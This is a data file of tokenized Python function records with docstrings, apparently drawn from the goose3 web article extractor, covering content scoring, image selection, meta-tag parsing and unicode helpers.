{"signature": "def get_siblings_score(self, top_node):", "body": "base = <NUM_LIT><EOL>paragraphs_number = <NUM_LIT:0><EOL>paragraphs_score = <NUM_LIT:0><EOL>nodes_to_check = self.parser.getElementsByTag(top_node, tag='<STR_LIT:p>')<EOL>for node in nodes_to_check:<EOL><INDENT>text_node = self.parser.getText(node)<EOL>word_stats = self.stopwords_class(language=self.get_language()).get_stopword_count(text_node)<EOL>high_link_density = self.is_highlink_density(node)<EOL>if word_stats.get_stopword_count() > <NUM_LIT:2> and not high_link_density:<EOL><INDENT>paragraphs_number += <NUM_LIT:1><EOL>paragraphs_score += word_stats.get_stopword_count()<EOL><DEDENT><DEDENT>if paragraphs_number > <NUM_LIT:0>:<EOL><INDENT>base = paragraphs_score // paragraphs_number<EOL><DEDENT>return base<EOL>", "docstring": "we could have long articles that have tons of paragraphs\nso if we tried to calculate the base score against\nthe total text score of those paragraphs it would be unfair.\nSo we need to normalize the score based on the average scoring\nof the paragraphs within the top node.\nFor example if our total score of 10 paragraphs was 1000\nbut each had an average value of 100 then 100 should be our base.", "id": "f14074:c0:m8"}
{"signature": "def update_score(self, node, add_to_score):", "body": "current_score = <NUM_LIT:0><EOL>score_string = self.parser.getAttribute(node, '<STR_LIT>')<EOL>if score_string:<EOL><INDENT>current_score = int(score_string)<EOL><DEDENT>new_score = current_score + int(add_to_score)<EOL>self.parser.setAttribute(node, \"<STR_LIT>\", str(new_score))<EOL>", "docstring": "adds a score to the gravityScore Attribute we put on divs\nwe'll get the current score then add the score\nwe're passing in to the current", "id": "f14074:c0:m9"}
{"signature": "def update_node_count(self, node, add_to_count):", "body": "current_score = <NUM_LIT:0><EOL>count_string = self.parser.getAttribute(node, '<STR_LIT>')<EOL>if count_string:<EOL><INDENT>current_score = int(count_string)<EOL><DEDENT>new_score = current_score + add_to_count<EOL>self.parser.setAttribute(node, \"<STR_LIT>\", str(new_score))<EOL>", "docstring": "\\\n        stores how many decent nodes are under a parent node", "id": "f14074:c0:m10"}
{"signature": "def is_highlink_density(self, element):", "body": "links = self.parser.getElementsByTag(element, tag='<STR_LIT:a>')<EOL>if not links:<EOL><INDENT>return False<EOL><DEDENT>text = self.parser.getText(element)<EOL>words = text.split('<STR_LIT:U+0020>')<EOL>words_number = float(len(words))<EOL>link_text_parts = []<EOL>for link in links:<EOL><INDENT>link_text_parts.append(self.parser.getText(link))<EOL><DEDENT>link_text = '<STR_LIT>'.join(link_text_parts)<EOL>link_words = link_text.split('<STR_LIT:U+0020>')<EOL>number_of_link_words = float(len(link_words))<EOL>number_of_links = float(len(links))<EOL>link_divisor = float(number_of_link_words / words_number)<EOL>score = float(link_divisor * number_of_links)<EOL>if score >= <NUM_LIT:1.0>:<EOL><INDENT>return True<EOL><DEDENT>return False<EOL>", "docstring": "checks the density of links within a node,\nis there not much text and most of it contains linky shit?\nif so it's no good", "id": "f14074:c0:m11"}
{"signature": "def get_score(self, node):", "body": "return self.get_node_gravity_score(node) or <NUM_LIT:0><EOL>", "docstring": "returns the gravityScore as an integer from this node", "id": "f14074:c0:m12"}
{"signature": "def nodes_to_check(self, docs):", "body": "nodes_to_check = []<EOL>for doc in docs:<EOL><INDENT>for tag in ['<STR_LIT:p>', '<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>items = self.parser.getElementsByTag(doc, tag=tag)<EOL>nodes_to_check += items<EOL><DEDENT><DEDENT>return nodes_to_check<EOL>", "docstring": "\\\n        returns a list of nodes we want to search\n        on like paragraphs and tables", "id": "f14074:c0:m14"}
{"signature": "def post_cleanup(self):", "body": "parse_tags = ['<STR_LIT:p>']<EOL>if self.config.parse_lists:<EOL><INDENT>parse_tags.extend(['<STR_LIT>', '<STR_LIT>'])<EOL><DEDENT>if self.config.parse_headers:<EOL><INDENT>parse_tags.extend(['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'])<EOL><DEDENT>target_node = self.article.top_node<EOL>node = self.add_siblings(target_node)<EOL>for elm in self.parser.getChildren(node):<EOL><INDENT>e_tag = self.parser.getTag(elm)<EOL>if e_tag not in parse_tags:<EOL><INDENT>if (self.is_highlink_density(elm) or self.is_table_and_no_para_exist(elm) or<EOL>not self.is_nodescore_threshold_met(node, elm)):<EOL><INDENT>self.parser.remove(elm)<EOL><DEDENT><DEDENT><DEDENT>return node<EOL>", "docstring": "\\\n        remove any divs that looks like non-content,\n        clusters of links, or paras with no gusto", "id": "f14074:c0:m17"}
{"signature": "def check_large_images(self, node, parent_depth_level, sibling_depth_level):", "body": "good_images = self.get_image_candidates(node)<EOL>if good_images:<EOL><INDENT>scored_images = self.fetch_images(good_images, parent_depth_level)<EOL>if scored_images:<EOL><INDENT>highscore_image = sorted(list(scored_images.items()),<EOL>key=lambda x: x[<NUM_LIT:1>], reverse=True)[<NUM_LIT:0>][<NUM_LIT:0>]<EOL>main_image = Image()<EOL>main_image._src = highscore_image.src<EOL>main_image._width = highscore_image.width<EOL>main_image._height = highscore_image.height<EOL>main_image._extraction_type = \"<STR_LIT>\"<EOL>score_len = len(scored_images)<EOL>main_image._confidence_score = <NUM_LIT:100> / score_len if score_len > <NUM_LIT:0> else <NUM_LIT:0><EOL>return main_image<EOL><DEDENT><DEDENT>depth_obj = self.get_depth_level(node, parent_depth_level, sibling_depth_level)<EOL>if depth_obj:<EOL><INDENT>return self.check_large_images(depth_obj.node, depth_obj.parent_depth,<EOL>depth_obj.sibling_depth)<EOL><DEDENT>return None<EOL>", "docstring": "\\\n        although slow the best way to determine the best image is to download\n        them and check the actual dimensions of the image when on disk\n        so we'll go through a phased approach...\n        1. get a list of ALL images from the parent node\n        2. filter out any bad image names that we know of (gifs, ads, etc..)\n        3. do a head request on each file to make sure it meets\n           our bare requirements\n        4. any images left over let's do a full GET request,\n           download em to disk and check their dimensions\n        5. Score images based on different factors like height/width\n           and possibly things like color density", "id": "f14075:c1:m3"}
{"signature": "def fetch_images(self, images, depth_level):", "body": "image_results = {}<EOL>initial_area = float(<NUM_LIT:0.0>)<EOL>total_score = float(<NUM_LIT:0.0>)<EOL>cnt = float(<NUM_LIT:1.0>)<EOL>min_width = <NUM_LIT:50><EOL>for image in images[:<NUM_LIT:30>]:<EOL><INDENT>src = self.parser.getAttribute(image, attr='<STR_LIT:src>')<EOL>src = self.build_image_path(src)<EOL>src = self.add_schema_if_none(src)<EOL>local_image = self.get_local_image(src)<EOL>width = local_image.width<EOL>height = local_image.height<EOL>src = local_image.src<EOL>file_extension = local_image.file_extension<EOL>if file_extension != '<STR_LIT>' or file_extension != '<STR_LIT>':<EOL><INDENT>if (depth_level >= <NUM_LIT:1> and local_image.width > <NUM_LIT>) or depth_level < <NUM_LIT:1>:<EOL><INDENT>if not self.is_banner_dimensions(width, height):<EOL><INDENT>if width > min_width:<EOL><INDENT>sequence_score = float(<NUM_LIT:1.0> / cnt)<EOL>area = float(width * height)<EOL>total_score = float(<NUM_LIT:0.0>)<EOL>if initial_area == <NUM_LIT:0>:<EOL><INDENT>initial_area = area * float(<NUM_LIT>)<EOL>total_score = <NUM_LIT:1.0><EOL><DEDENT>else:<EOL><INDENT>area_difference = float(area / initial_area)<EOL>total_score = sequence_score * area_difference<EOL><DEDENT>image_results.update({local_image: total_score})<EOL>cnt += <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>return image_results<EOL>", "docstring": "\\\n        download the images to temp disk and set their dimensions\n        - we're going to score the images in the order in which\n          they appear so images higher up will have more importance,\n        - we'll count the area of the 1st image as a score\n          of 1 and then calculate how much larger or small each image after it is\n        - we'll also make sure to try and weed out banner\n          type ad blocks that have big widths and small heights or vice versa\n        - so if the image is 3rd found in the dom it's\n          sequence score would be 1 / 3 = .33 * diff\n          in area from the first image", "id": "f14075:c1:m5"}
{"signature": "@staticmethod<EOL><INDENT>def is_banner_dimensions(width, height):<DEDENT>", "body": "if width == height:<EOL><INDENT>return False<EOL><DEDENT>if width > height:<EOL><INDENT>diff = float(width / height)<EOL>if diff > <NUM_LIT:5>:<EOL><INDENT>return True<EOL><DEDENT><DEDENT>if height > width:<EOL><INDENT>diff = float(height / width)<EOL>if diff > <NUM_LIT:5>:<EOL><INDENT>return True<EOL><DEDENT><DEDENT>return False<EOL>", "docstring": "\\\n        returns true if we think this is kind of a bannery dimension\n        like 600 / 100 = 6 may be a fishy dimension for a good image", "id": "f14075:c1:m7"}
{"signature": "def filter_bad_names(self, images):", "body": "good_images = []<EOL>for image in images:<EOL><INDENT>if self.is_valid_filename(image):<EOL><INDENT>good_images.append(image)<EOL><DEDENT><DEDENT>return good_images if len(good_images) > <NUM_LIT:0> else None<EOL>", "docstring": "\\\n        takes a list of image elements\n        and filters out the ones with bad names", "id": "f14075:c1:m9"}
{"signature": "def is_valid_filename(self, image_node):", "body": "src = self.parser.getAttribute(image_node, attr='<STR_LIT:src>')<EOL>if not src:<EOL><INDENT>return False<EOL><DEDENT>if self.badimages_names_re.search(src):<EOL><INDENT>return False<EOL><DEDENT>return True<EOL>", "docstring": "\\\n        will check the image src against a list\n        of bad image files we know of like buttons, etc...", "id": "f14075:c1:m10"}
{"signature": "def get_images_bytesize_match(self, images):", "body": "cnt = <NUM_LIT:0><EOL>max_bytes_size = <NUM_LIT><EOL>good_images = []<EOL>for image in images:<EOL><INDENT>if cnt > <NUM_LIT:30>:<EOL><INDENT>return good_images<EOL><DEDENT>src = self.parser.getAttribute(image, attr='<STR_LIT:src>')<EOL>src = self.build_image_path(src)<EOL>src = self.add_schema_if_none(src)<EOL>local_image = self.get_local_image(src)<EOL>if local_image:<EOL><INDENT>filesize = local_image.bytes<EOL>if (filesize == <NUM_LIT:0> or filesize > self.images_min_bytes) and filesize < max_bytes_size:<EOL><INDENT>good_images.append(image)<EOL><DEDENT>else:<EOL><INDENT>images.remove(image)<EOL><DEDENT><DEDENT>cnt += <NUM_LIT:1><EOL><DEDENT>return good_images if len(good_images) > <NUM_LIT:0> else None<EOL>", "docstring": "\\\n        loop through all the images and find the ones\n        that have the best bytez to even make them a candidate", "id": "f14075:c1:m12"}
{"signature": "def check_link_tag(self):", "body": "node = self.article.raw_doc<EOL>meta = self.parser.getElementsByTag(node, tag='<STR_LIT>', attr='<STR_LIT>', value='<STR_LIT>')<EOL>for item in meta:<EOL><INDENT>src = self.parser.getAttribute(item, attr='<STR_LIT>')<EOL>if src:<EOL><INDENT>return self.get_image(src, extraction_type='<STR_LIT>')<EOL><DEDENT><DEDENT>return None<EOL>", "docstring": "\\\n        checks to see if we were able to\n        find open link_src on this page", "id": "f14075:c1:m14"}
{"signature": "def check_known_schemas(self):", "body": "if '<STR_LIT:image>' in self.article.opengraph:<EOL><INDENT>return self.get_image(self.article.opengraph[\"<STR_LIT:image>\"],<EOL>extraction_type='<STR_LIT>')<EOL><DEDENT>elif (self.article.schema and '<STR_LIT:image>' in self.article.schema and<EOL>\"<STR_LIT:url>\" in self.article.schema[\"<STR_LIT:image>\"]):<EOL><INDENT>return self.get_image(self.article.schema[\"<STR_LIT:image>\"][\"<STR_LIT:url>\"],<EOL>extraction_type='<STR_LIT>')<EOL><DEDENT>return None<EOL>", "docstring": "\\\n        checks to see if we were able to find the image via known schemas:\n\n        Supported Schemas\n         - Open Graph\n         - schema.org", "id": "f14075:c1:m15"}
{"signature": "def get_local_image(self, src):", "body": "return ImageUtils.store_image(self.fetcher, self.article.link_hash, src, self.config)<EOL>", "docstring": "\\\n        returns the bytes of the image file on disk", "id": "f14075:c1:m16"}
{"signature": "def check_known_elements(self):", "body": "domain = self.get_clean_domain()<EOL>if domain in list(self.custom_site_mapping.keys()):<EOL><INDENT>classes = self.custom_site_mapping.get(domain).split('<STR_LIT:|>')<EOL>for classname in classes:<EOL><INDENT>KNOWN_IMG_DOM_NAMES.append(classname)<EOL><DEDENT><DEDENT>image = None<EOL>doc = self.article.raw_doc<EOL>def _check_elements(elements):<EOL><INDENT>for element in elements:<EOL><INDENT>tag = self.parser.getTag(element)<EOL>if tag == '<STR_LIT>':<EOL><INDENT>return element<EOL><DEDENT>images = self.parser.getElementsByTag(element, tag='<STR_LIT>')<EOL>if images:<EOL><INDENT>return images[<NUM_LIT:0>]<EOL><DEDENT><DEDENT>return None<EOL><DEDENT>for css in KNOWN_IMG_DOM_NAMES:<EOL><INDENT>elements = self.parser.getElementsByTag(doc, attr=\"<STR_LIT:id>\", value=css)<EOL>image = _check_elements(elements)<EOL>if image is not None:<EOL><INDENT>src = self.parser.getAttribute(image, attr='<STR_LIT:src>')<EOL>if src:<EOL><INDENT>return self.get_image(src, score=<NUM_LIT>, extraction_type='<STR_LIT>')<EOL><DEDENT><DEDENT><DEDENT>for css in KNOWN_IMG_DOM_NAMES:<EOL><INDENT>elements = self.parser.getElementsByTag(doc, attr='<STR_LIT:class>', value=css)<EOL>image = _check_elements(elements)<EOL>if image is not None:<EOL><INDENT>src = self.parser.getAttribute(image, attr='<STR_LIT:src>')<EOL>if src:<EOL><INDENT>return self.get_image(src, score=<NUM_LIT>, extraction_type='<STR_LIT>')<EOL><DEDENT><DEDENT><DEDENT>return None<EOL>", "docstring": "\\\n        in here we check for known image contains from sites\n        we've checked out like yahoo, techcrunch, etc... that have\n        * known  places to look for good images.\n        * TODO: enable this to use a series of settings files\n          so people can define what the image ids/classes\n          are on specific sites", "id": "f14075:c1:m18"}
{"signature": "def build_image_path(self, src):", "body": "o = urlparse(src)<EOL>if o.netloc != '<STR_LIT>':<EOL><INDENT>return o.geturl()<EOL><DEDENT>return urljoin(self.article.final_url, src)<EOL>", "docstring": "\\\n        This method will take an image path and build\n        out the absolute path to that image\n        * using the initial url we crawled\n          so we can find a link to the image\n          if they use relative urls like ../myimage.jpg", "id": "f14075:c1:m19"}
{"signature": "def get_favicon(self):", "body": "kwargs = {'<STR_LIT>': '<STR_LIT>', '<STR_LIT>': '<STR_LIT>', '<STR_LIT:value>': '<STR_LIT>'}<EOL>meta = self.parser.getElementsByTag(self.article.doc, **kwargs)<EOL>if meta:<EOL><INDENT>favicon = self.parser.getAttribute(meta[<NUM_LIT:0>], '<STR_LIT>')<EOL>return favicon<EOL><DEDENT>return '<STR_LIT>'<EOL>", "docstring": "Extract the favicon from a website\nhttp://en.wikipedia.org/wiki/Favicon\n<link rel=\"shortcut icon\" type=\"image/png\" href=\"favicon.png\" />\n<link rel=\"icon\" type=\"image/png\" href=\"favicon.png\" />", "id": "f14082:c0:m1"}
{"signature": "def get_canonical_link(self):", "body": "if self.article.final_url:<EOL><INDENT>kwargs = {'<STR_LIT>': '<STR_LIT>', '<STR_LIT>': '<STR_LIT>', '<STR_LIT:value>': '<STR_LIT>'}<EOL>meta = self.parser.getElementsByTag(self.article.doc, **kwargs)<EOL>if meta is not None and len(meta) > <NUM_LIT:0>:<EOL><INDENT>href = self.parser.getAttribute(meta[<NUM_LIT:0>], '<STR_LIT>')<EOL>if href:<EOL><INDENT>href = href.strip()<EOL>o = urlparse(href)<EOL>if not o.hostname:<EOL><INDENT>tmp = urlparse(self.article.final_url)<EOL>domain = '<STR_LIT>' % (tmp.scheme, tmp.hostname)<EOL>href = urljoin(domain, href)<EOL><DEDENT>return href<EOL><DEDENT><DEDENT><DEDENT>return self.article.final_url<EOL>", "docstring": "if the article has meta canonical link set in the url", "id": "f14082:c0:m2"}
{"signature": "def get_meta_lang(self):", "body": "<EOL>attr = self.parser.getAttribute(self.article.doc, attr='<STR_LIT>')<EOL>if attr is None:<EOL><INDENT>items = [<EOL>{'<STR_LIT>': '<STR_LIT>', '<STR_LIT>': '<STR_LIT>', '<STR_LIT:value>': '<STR_LIT>'},<EOL>{'<STR_LIT>': '<STR_LIT>', '<STR_LIT>': '<STR_LIT:name>', '<STR_LIT:value>': '<STR_LIT>'}<EOL>]<EOL>for item in items:<EOL><INDENT>meta = self.parser.getElementsByTag(self.article.doc, **item)<EOL>if meta:<EOL><INDENT>attr = self.parser.getAttribute(meta[<NUM_LIT:0>], attr='<STR_LIT:content>')<EOL>break<EOL><DEDENT><DEDENT><DEDENT>if attr:<EOL><INDENT>value = attr[:<NUM_LIT:2>]<EOL>if re.search(RE_LANG, value):<EOL><INDENT>return value.lower()<EOL><DEDENT><DEDENT>return None<EOL>", "docstring": "Extract content language from meta", "id": "f14082:c0:m3"}
{"signature": "def get_meta_content(self, meta_name):", "body": "meta = self.parser.css_select(self.article.doc, meta_name)<EOL>content = None<EOL>if meta is not None and len(meta) > <NUM_LIT:0>:<EOL><INDENT>content = self.parser.getAttribute(meta[<NUM_LIT:0>], '<STR_LIT:content>')<EOL><DEDENT>if content:<EOL><INDENT>return content.strip()<EOL><DEDENT>return '<STR_LIT>'<EOL>", "docstring": "Extract a given meta content form document", "id": "f14082:c0:m4"}
{"signature": "def get_meta_description(self):", "body": "return self.get_meta_content(\"<STR_LIT>\")<EOL>", "docstring": "if the article has meta description set in the source, use that", "id": "f14082:c0:m5"}
{"signature": "def get_meta_keywords(self):", "body": "return self.get_meta_content(\"<STR_LIT>\")<EOL>", "docstring": "if the article has meta keywords set in the source, use that", "id": "f14082:c0:m6"}
{"signature": "def get_meta_encoding(self):", "body": "encoding = get_encodings_from_content(self.article.raw_html)<EOL>return encoding and encoding[<NUM_LIT:0>] or None<EOL>", "docstring": "Parse the meta encoding", "id": "f14082:c0:m7"}
{"signature": "@property<EOL><INDENT>def top_image_node(self):<DEDENT>", "body": "return self._top_image_node<EOL>", "docstring": "etree: The most likely top image element node\n\n            Note:\n                Read only", "id": "f14085:c0:m1"}
{"signature": "@property<EOL><INDENT>def src(self):<DEDENT>", "body": "return self._src<EOL>", "docstring": "str: Source URL for the image\n\n            Note:\n                Read only", "id": "f14085:c0:m2"}
{"signature": "@property<EOL><INDENT>def confidence_score(self):<DEDENT>", "body": "return self._confidence_score<EOL>", "docstring": "float: The confidence score that this is the main image\n\n            Note:\n                Read only", "id": "f14085:c0:m3"}
{"signature": "@property<EOL><INDENT>def height(self):<DEDENT>", "body": "return self._height<EOL>", "docstring": "int: The image height in pixels\n\n            Note:\n                Read only", "id": "f14085:c0:m4"}
{"signature": "@property<EOL><INDENT>def width(self):<DEDENT>", "body": "return self._width<EOL>", "docstring": "int: The image width in pixels\n\n            Note:\n                Read only", "id": "f14085:c0:m5"}
{"signature": "@property<EOL><INDENT>def extraction_type(self):<DEDENT>", "body": "return self._extraction_type<EOL>", "docstring": "str: The extraction type used\n\n            Note:\n                Read only", "id": "f14085:c0:m6"}
{"signature": "@property<EOL><INDENT>def bytes(self):<DEDENT>", "body": "return self._bytes<EOL>", "docstring": "int: The size of the image in bytes\n\n            Note:\n                Read only", "id": "f14085:c0:m7"}
{"signature": "def get_language(self):", "body": "<EOL>if self.config.use_meta_language:<EOL><INDENT>if self.article.meta_lang:<EOL><INDENT>return self.article.meta_lang[:<NUM_LIT:2>]<EOL><DEDENT><DEDENT>return self.config.target_language<EOL>", "docstring": "\\\n        Returns the language is by the article or\n        the configuration language", "id": "f14086:c0:m1"}
{"signature": "def links_to_text(self):", "body": "self.parser.stripTags(self.get_top_node(), '<STR_LIT:a>')<EOL>", "docstring": "\\\n        cleans up and converts any nodes that\n        should be considered text into text", "id": "f14086:c0:m6"}
{"signature": "def make_list_elms_pretty(self):", "body": "for elm in self.parser.getElementsByTag(self.top_node, tag='<STR_LIT>'):<EOL><INDENT>elm.text = r'<STR_LIT>'.format(elm.text)<EOL><DEDENT>", "docstring": "make any list element read like a list", "id": "f14086:c0:m7"}
{"signature": "def remove_negativescores_nodes(self):", "body": "gravity_items = self.parser.css_select(self.top_node, \"<STR_LIT>\")<EOL>for item in gravity_items:<EOL><INDENT>score = self.parser.getAttribute(item, '<STR_LIT>')<EOL>score = int(score, <NUM_LIT:0>)<EOL>if score < <NUM_LIT:1>:<EOL><INDENT>item.getparent().remove(item)<EOL><DEDENT><DEDENT>", "docstring": "\\\n        if there are elements inside our top node\n        that have a negative gravity score,\n        let's give em the boot", "id": "f14086:c0:m8"}
{"signature": "def replace_with_text(self):", "body": "self.parser.stripTags(self.get_top_node(), '<STR_LIT:b>', '<STR_LIT>', '<STR_LIT:i>', '<STR_LIT>', '<STR_LIT>')<EOL>", "docstring": "\\\n        replace common tags with just\n        text so we don't have any crazy formatting issues\n        so replace <br>, <i>, <strong>, etc....\n        with whatever text is inside them\n        code : http://lxml.de/api/lxml.etree-module.html#strip_tags", "id": "f14086:c0:m9"}
{"signature": "def remove_fewwords_paragraphs(self):", "body": "all_nodes = self.parser.getElementsByTags(self.get_top_node(), ['<STR_LIT:*>'])<EOL>all_nodes.reverse()<EOL>for elm in all_nodes:<EOL><INDENT>tag = self.parser.getTag(elm)<EOL>text = self.parser.getText(elm)<EOL>stop_words = self.stopwords_class(language=self.get_language()).get_stopword_count(text)<EOL>if ((tag != '<STR_LIT>' or text != '<STR_LIT>') and stop_words.get_stopword_count() < <NUM_LIT:3> and<EOL>len(self.parser.getElementsByTag(elm, tag='<STR_LIT:object>')) == <NUM_LIT:0> and<EOL>len(self.parser.getElementsByTag(elm, tag='<STR_LIT>')) == <NUM_LIT:0>):<EOL><INDENT>self.parser.remove(elm)<EOL><DEDENT>else:<EOL><INDENT>trimmed = self.parser.getText(elm)<EOL>if trimmed.startswith(\"<STR_LIT:(>\") and trimmed.endswith(\"<STR_LIT:)>\"):<EOL><INDENT>self.parser.remove(elm)<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "\\\n        remove paragraphs that have less than x number of words,\n        would indicate that it's some sort of link", "id": "f14086:c0:m10"}
{"signature": "def get_encodings_from_content(content):", "body": "if isinstance(content, bytes):<EOL><INDENT>find_charset = re.compile(<EOL>br'<STR_LIT>', flags=re.I<EOL>).findall<EOL>find_xml = re.compile(<EOL>br'<STR_LIT>'<EOL>).findall<EOL>return [encoding.decode('<STR_LIT:utf-8>') for encoding in<EOL>find_charset(content) + find_xml(content)]<EOL><DEDENT>else:<EOL><INDENT>find_charset = re.compile(<EOL>r'<STR_LIT>', flags=re.I<EOL>).findall<EOL>find_xml = re.compile(<EOL>r'<STR_LIT>'<EOL>).findall<EOL>return find_charset(content) + find_xml(content)<EOL><DEDENT>", "docstring": "Code from:\nhttps://github.com/sigmavirus24/requests-toolbelt/blob/master/requests_toolbelt/utils/deprecated.py\nReturn encodings from given content string.\n:param content: string to extract encodings from.", "id": "f14087:m0"}
{"signature": "@classmethod<EOL><INDENT>def store_image(cls, http_client, link_hash, src, config):<DEDENT>", "body": "<EOL>image = cls.read_localfile(link_hash, src, config)<EOL>if image:<EOL><INDENT>return image<EOL><DEDENT>if src.startswith('<STR_LIT>'):<EOL><INDENT>image = cls.write_localfile_base64(link_hash, src, config)<EOL>return image<EOL><DEDENT>data = http_client.fetch(src)<EOL>if data:<EOL><INDENT>image = cls.write_localfile(data, link_hash, src, config)<EOL>if image:<EOL><INDENT>return image<EOL><DEDENT><DEDENT>return None<EOL>", "docstring": "\\\n        Writes an image src http string to disk as a temporary file\n        and returns the LocallyStoredImage object\n        that has the info you should need on the image", "id": "f14088:c0:m1"}
{"signature": "def smart_unicode(string, encoding='<STR_LIT:utf-8>', strings_only=False, errors='<STR_LIT:strict>'):", "body": "<EOL>return force_unicode(string, encoding, strings_only, errors)<EOL>", "docstring": "Returns a unicode object representing 's'. Treats bytestrings using the\n'encoding' codec.\n\nIf strings_only is True, don't convert (some) non-string-like objects.", "id": "f14090:m0"}
{"signature": "def is_protected_type(obj):", "body": "return isinstance(obj, (type(None), int,<EOL>datetime.datetime, datetime.date, datetime.time,<EOL>float, Decimal))<EOL>", "docstring": "Determine if the object instance is of a protected type.\n\n    Objects of protected types are preserved as-is when passed to\n    force_unicode(strings_only=True).", "id": "f14090:m1"}
{"signature": "def force_unicode(string, encoding='<STR_LIT:utf-8>', strings_only=False, errors='<STR_LIT:strict>'):", "body": "<EOL>if isinstance(string, str):<EOL><INDENT>return string<EOL><DEDENT>if strings_only and is_protected_type(string):<EOL><INDENT>return string<EOL><DEDENT>try:<EOL><INDENT>if not isinstance(string, str):<EOL><INDENT>if hasattr(string, '<STR_LIT>'):<EOL><INDENT>string = string.__unicode__()<EOL><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>string = str(string, encoding, errors)<EOL><DEDENT>except UnicodeEncodeError:<EOL><INDENT>if not isinstance(string, Exception):<EOL><INDENT>raise<EOL><DEDENT>string = '<STR_LIT:U+0020>'.join([force_unicode(arg, encoding,<EOL>strings_only,<EOL>errors) for arg in string])<EOL><DEDENT><DEDENT><DEDENT>elif not isinstance(string, str):<EOL><INDENT>string = string.decode(encoding, errors)<EOL><DEDENT><DEDENT>except UnicodeDecodeError as ex:<EOL><INDENT>if not isinstance(string, Exception):<EOL><INDENT>raise DjangoUnicodeDecodeError(string, *ex.args)<EOL><DEDENT>else:<EOL><INDENT>string = '<STR_LIT:U+0020>'.join([force_unicode(arg, encoding, strings_only,<EOL>errors) for arg in string])<EOL><DEDENT><DEDENT>return string<EOL>", "docstring": "Similar to smart_unicode, except that lazy instances are resolved to\nstrings, rather than kept as lazy objects.\n\nIf strings_only is True, don't convert (some) non-string-like objects.", "id": "f14090:m2"}
{"signature": "def smart_str(string, encoding='<STR_LIT:utf-8>', strings_only=False, errors='<STR_LIT:strict>'):", "body": "if strings_only and isinstance(string, (type(None), int)):<EOL><INDENT>return string<EOL><DEDENT>if isinstance(string, str):<EOL><INDENT>try:<EOL><INDENT>return string.encode(encoding, errors)<EOL><DEDENT>except UnicodeEncodeError:<EOL><INDENT>return string.encode('<STR_LIT:utf-8>', errors)<EOL><DEDENT><DEDENT>elif not isinstance(string, bytes):<EOL><INDENT>try:<EOL><INDENT>return str(string).encode(encoding, errors)<EOL><DEDENT>except UnicodeEncodeError:<EOL><INDENT>if isinstance(string, Exception):<EOL><INDENT>return '<STR_LIT:U+0020>'.join([smart_str(arg, encoding, strings_only,<EOL>errors) for arg in string])<EOL><DEDENT>return str(string).encode(encoding, errors)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>return string<EOL><DEDENT>", "docstring": "Returns a bytestring version of 's', encoded as specified in 'encoding'.\n\nIf strings_only is True, don't convert (some) non-string-like objects.", "id": "f14090:m3"}
{"signature": "@property<EOL><INDENT>def title(self):<DEDENT>", "body": "return self._title<EOL>", "docstring": "str: Title extracted from the HTML source\n\n            Note:\n                Read only", "id": "f14091:c0:m1"}
{"signature": "@property<EOL><INDENT>def cleaned_text(self):<DEDENT>", "body": "return self._cleaned_text<EOL>", "docstring": "str: Cleaned text of the article without HTML tags; most commonly desired property\n\n            Note:\n                Read only", "id": "f14091:c0:m2"}
{"signature": "@property<EOL><INDENT>def meta_description(self):<DEDENT>", "body": "return self._meta_description<EOL>", "docstring": "str: Contents of the meta-description field from the HTML source\n\n            Note:\n                Read only", "id": "f14091:c0:m3"}
{"signature": "@property<EOL><INDENT>def meta_lang(self):<DEDENT>", "body": "return self._meta_lang<EOL>", "docstring": "str: Contents of the meta-lang field from the HTML source\n\n            Note:\n                Read only", "id": "f14091:c0:m4"}
{"signature": "@property<EOL><INDENT>def meta_favicon(self):<DEDENT>", "body": "return self._meta_favicon<EOL>", "docstring": "str: Contents of the meta-favicon field from the HTML source\n\n            Note:\n                Read only", "id": "f14091:c0:m5"}
{"signature": "@property<EOL><INDENT>def meta_keywords(self):<DEDENT>", "body": "return self._meta_keywords<EOL>", "docstring": "str: Contents of the meta-keywords field from the HTML source\n\n            Note:\n                Read only", "id": "f14091:c0:m6"}
{"signature": "@property<EOL><INDENT>def meta_encoding(self):<DEDENT>", "body": "return self._meta_encoding<EOL>", "docstring": "str: Contents of the encoding/charset field from the HTML source\n\n            Note:\n                Read only", "id": "f14091:c0:m7"}
{"signature": "@property<EOL><INDENT>def canonical_link(self):<DEDENT>", "body": "return self._canonical_link<EOL>", "docstring": "str: The canonical link of the article if found in the meta data\n\n            Note:\n                Read only", "id": "f14091:c0:m8"}
{"signature": "@property<EOL><INDENT>def domain(self):<DEDENT>", "body": "return self._domain<EOL>", "docstring": "str: Domain of the article parsed\n\n            Note:\n                Read only", "id": "f14091:c0:m9"}
{"signature": "@property<EOL><INDENT>def top_node(self):<DEDENT>", "body": "return self._top_node<EOL>", "docstring": "etree: The top Element that is a candidate for the main body of the article\n\n            Note:\n                Read only", "id": "f14091:c0:m10"}
{"signature": "@property<EOL><INDENT>def top_image(self):<DEDENT>", "body": "return self._top_image<EOL>", "docstring": "Image: The top image object that likely represents the article\n\n            Returns:\n                Image: See more information on the goose3.Image class\n            Note:\n                Read only", "id": "f14091:c0:m11"}
{"signature": "@property<EOL><INDENT>def tags(self):<DEDENT>", "body": "return self._tags<EOL>", "docstring": "list(str): List of article tags (non-metadata tags)\n\n            Note:\n                Read only", "id": "f14091:c0:m12"}
{"signature": "@property<EOL><INDENT>def opengraph(self):<DEDENT>", "body": "return self._opengraph<EOL>", "docstring": "dict: All opengraph tag data\n\n            Note:\n                Read only", "id": "f14091:c0:m13"}
{"signature": "@property<EOL><INDENT>def tweets(self):<DEDENT>", "body": "return self._tweets<EOL>", "docstring": "list(str): A listing of embeded tweets in the article\n\n            Note:\n                Read only", "id": "f14091:c0:m14"}
{"signature": "@property<EOL><INDENT>def movies(self):<DEDENT>", "body": "return self._movies<EOL>", "docstring": "list(Video): A listing of all videos within the article such as\n            YouTube or Vimeo\n\n            Returns:\n                list(Video):  See more information on the goose3.Video class\n            Note:\n                Read only", "id": "f14091:c0:m15"}
{"signature": "@property<EOL><INDENT>def links(self):<DEDENT>", "body": "return self._links<EOL>", "docstring": "list(str): A listing of URL links within the article\n\n            Note:\n                Read only", "id": "f14091:c0:m16"}
